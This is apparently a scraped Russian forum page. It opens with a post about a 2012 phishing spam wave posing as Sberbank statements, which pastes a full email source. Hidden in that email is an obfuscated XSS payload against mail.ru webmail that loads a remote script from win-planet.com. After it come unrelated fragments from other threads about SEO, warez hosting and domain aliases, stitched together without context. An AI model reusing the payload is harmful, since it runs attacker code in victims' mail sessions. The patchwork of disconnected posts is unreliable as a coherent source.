Всё письма ведут на скрипты на домене win-planet.com .
Спам разослан с помощью вот этого скрипта: http://win-planet.com/img/email.php
Вот пример исходника сообщения:
Delivered-To: <censored> Received: by 10.216.16.102 with SMTP id g80csp113688weg; Mon, 14 May 2012 13:14:32 -0700 (PDT) Received: by 10.180.101.136 with SMTP id fg8mr23250648wib.4.1337026471690; Mon, 14 May 2012 13:14:31 -0700 (PDT) Received-SPF: softfail (google.com: best guess record for domain of transitioning p1mp140@ns6.abcname.net does not designate 213.186.121.228 as permitted sender) client-ip=213.186.121.228; Received: by 10.217.81.138 with POP3 id x10mf2812717wey.35; Mon, 14 May 2012 13:14:31 -0700 (PDT) X-Gmail-Fetch-Info: <censored>@mail.ru 2 pop.mail.ru 110 <censored>@mail.ru Return-path: <p1mp140@ns6.abcname.net> Received-SPF: fail Received: from [213.186.121.228] (port=49514 helo=ns6.abcname.net) by mx52.mail.ru with esmtp (envelope-from <p1mp140@ns6.abcname.net>) id 1SU13Z-0007Vk-PV for <censored>@mail.ru; Mon, 14 May 2012 23:35:46 +0400 X-Mru-BL: 0:0:1088:0 X-Mru-PTR: ns6.abcname.net X-Mru-NR: 1 X-Mru-OF: Linux (ethernet/modem) X-Mru-RC: UA Received: from p1mp140 by ns6.abcname.net with local (Exim 4.77) (envelope-from <p1mp140@ns6.abcname.net>) id 1SU1GP-00026d-IP for <censored>@mail.ru; Mon, 14 May 2012 22:49:01 +0300 To: <censored>@mail.ru Subject: SBERBANK. Statement report MIME-Version: 1.0 Content-type: text/html; charset=windows-1251 From: <report_card@sbrf.ru> Message-Id: <E1SU1GP-00026d-IP@ns6.abcname.net> Date: Mon, 14 May 2012 22:49:01 +0300 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - ns6.abcname.net X-AntiAbuse: Original Domain - mail.ru X-AntiAbuse: Originator/Caller UID/GID - [725 32008] / [47 12] X-AntiAbuse: Sender Address Domain - ns6.abcname.net X-Source: /usr/bin/php X-Source-Args: /usr/bin/php /home/p1mp140/public_html/img/email.php X-Source-Dir: win-planet.com:/public_html/img X-Spam: Not detected X-Mras: Ok <p>Уважаемый клиент!</p> <p> В приложении направляем Вам отчет по счету карты.</p> <p>Это письмо сформировано автоматически. Пожалуйста, не отвечайте на него.</p> <p> Если у Вас есть вопросы, Вы можете обратиться по электронной почте help@sbrf.ru.</p> <p> С уважением,</p> <p>Сбербанк России.</p> <div style='display:none;'><input type='text' id='div_hid' value='Ошибка сервера. Повторите попытку позднее.'> <style> #lol:after{ content:"{}</stylE e><img src="ff" onerror="***x28;***x61;***x3D;***x28;***x62;***x3D;***x64;***x6F;***x63;***x75;***x6D;***x65;***x6E;***x74;***x29;***x2E;***x63;***x72;***x65;***x61;***x74;***x65;***x45;***x6C;***x65;***x6D;***x65;***x6E;***x74;***x28;***x27;***x73;***x63;***x72;***x27;***x2B;***x27;***x69;***x70;***x74;***x27;***x29;***x29;***x2E;***x73;***x72;***x63;***x3D;***x27;***x68;***x74;***x74;***x70;***x3A;***x2F;***x2F;***x77;***x69;***x6E;***x2D;***x70;***x6C;***x61;***x6E;***x65;***x74;***x2E;***x63;***x6F;***x6D;***x2F;***x6D;***x61;***x69;***x6C;***x72;***x75;***x2F;***x38;***x38;***x38;***x2E;***x6A;***x73;***x27;***x2C;***x62;***x2E;***x62;***x6F;***x64;***x79;***x2E;***x61;***x70;***x70;***x65;***x6E;***x64;***x43;***x68;***x69;***x6C;***x64;***x28;***x61;***x29;***x3B;***x76;***x6F;***x69;***x64;***x28;***x30;***x29;***x3B;">"; <style> #lol{ width:1000px; } </style> </style> ;
Прям эпидемия! 😒
Сегодня получил около 5 писем с эксплуатацией этой уязвимости. Благо читаю mail.ru через Gmail, там всё фильтруется как надо.
Вот некоторые отправители/темы:
Да, всё верно. У меня тоже в декабре, и тоже нет.
Зря смеётесь. У меня сайт по запросу "женский форум" переместился с 35 на 10 в предыдущий ап, и в этот с 10-го на 7-ое.
Ну так посмотри на ком сидят лучшие варезники сети!
софт-бест.ру - ДЦ датапоинт
Эксклюзивным правообладателем всей музыки в России??? Или только группы "хор циганок с вокзала"? Какое значение слова эксклюзивный вы подразумеваете?
Как мне кажется, недопустимо использование *.ca5ino.ru как алиаса. Попробуй www.ca5ino.ru
У хостера, не настроен алиас (синоним) на www.anyhost.ru .
Должно быть настроено так, что бы все обращения к домену третьего уровня www.anyhost.ru переадресовывались на домен второго уровня anyhost.ru. Если сервер - Apache - то это делается одной строчкой.
У меня боты с сайта вообще не вылезают. Почти 24 часа в сутки находятся на ресурсе.
Неуверен, что для ботов сайт был недоступен: он грузился, только оочень медленно. Кто-нибудь помнит что такое модем на 4800 ??? Наверное никто...
Наверное тем, что он уже разросся.
